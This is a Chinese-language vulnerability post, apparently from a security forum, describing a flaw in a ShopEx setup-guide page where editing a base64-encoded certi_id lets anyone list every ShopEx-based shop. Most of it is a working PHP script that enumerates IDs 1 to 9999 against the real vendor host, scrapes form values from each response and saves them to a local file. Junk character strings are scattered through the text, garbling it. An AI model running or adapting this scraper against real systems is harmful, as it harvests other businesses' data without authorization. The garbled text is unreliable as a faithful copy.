ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
) a% S/ O0 [2 j- b" v! cShopEx某接口缺陷,可遍历所有网站
详细说明：
6 G: a$ n8 x" V5 ]' o. C问题出现在shopex 网店使用向导页面
2 {6 W" M" I5 \* E" t6 B


( r) i1 N- f& ?. L. y1 {* @http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
' m7 H% {. y$ G
7 S" N) B* U1 l- i8 ^3 [$ A
. g; O5 |! V  a1 m0 T0 N- G
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}


0 o) |7 O" v- ?: A! \; F2 Q9 @- v' L$ R9 _
# D- B4 Y$ J& k0 s3 O" H6 J3 n我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
+ V6 V0 x$ K! G8 z- o


+ b* w" m$ ~9 `4 H: i; ?4 @9 t1 X<?php
! n1 J" s- m$ k& d
                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);

                }

                function ShowshopExD($cid) {
4 \# Y! r2 [1 w
                $url='http://guide.ecos.shopex.cn/step2.php';

                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
" s. B. ]' @& ]+ W+ @8 l- \, T
9 D7 _2 ]( q8 l0 W: `4 o        $url = $url.'?refer='.$refer;

. j  x0 }& [$ S        $ch = curl_init($url);
- f$ P! O4 m, S
% o* n% x" d/ Q0 s# K# n        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
- \4 W4 y( O1 T8 `* j
2 [" Z+ A3 t9 ~( I/ @: r+ m9 c        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
# S9 B6 s3 \. J8 I8 p
. p( ^. d& }2 i8 Q4 y) h& P5 f) Z0 \        $result = curl_exec($ch);
- b" D1 |& R+ L4 G) U/ I7 i( d$ c
: ]$ O" o, B3 r, P* ~        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
0 p7 t4 Z) s1 i  N/ j; b
        if(strpos($result,$refer))

        {
3 f, E. I% p. X: I
2 w3 q9 j* _# h                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
  d& {7 z: J, P9 ]& i
& E7 |+ r/ U! _3 L( k  {                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {

                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

' R9 L+ V" n" n3 x) o) a+ p9 _                        echo $res[1][0].':'.$res[3][0]."\r\n";

! p9 `& g" R4 [  S                        $col =$res[1][0].':'.$res[3][0]."\r\n";
; F8 t6 i1 e$ k* k# r+ m
                        fwrite($fp, $col, strlen($col));

5 Y5 j6 I7 q% h7 ]" I0 n+ ~8 \0 F                }
" T) F" }5 U: i/ T( O
                echo '--------------------------------'."\r\n";
/ @9 y- {8 m* T+ ]7 Q3 ]/ _
: D  u( n5 |6 s- Y- P1 @9 ]                fclose($fp);

* `$ t* x9 W1 r! m        }

        flush();
6 G+ ]$ k: B  g% ^' a3 {- e
        curl_close($ch);

2 }9 C) {- j) ^! ~) L! X: w  K                }
. I* X9 _# W& o3 |
?>
漏洞证明：
  u" R$ Y4 Y/ K- yhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
: Q' o$ ?5 l! M6 x4 c0 m, Xrefer换成其他加密方式
6 M6 N. l! k- ]/ W2 V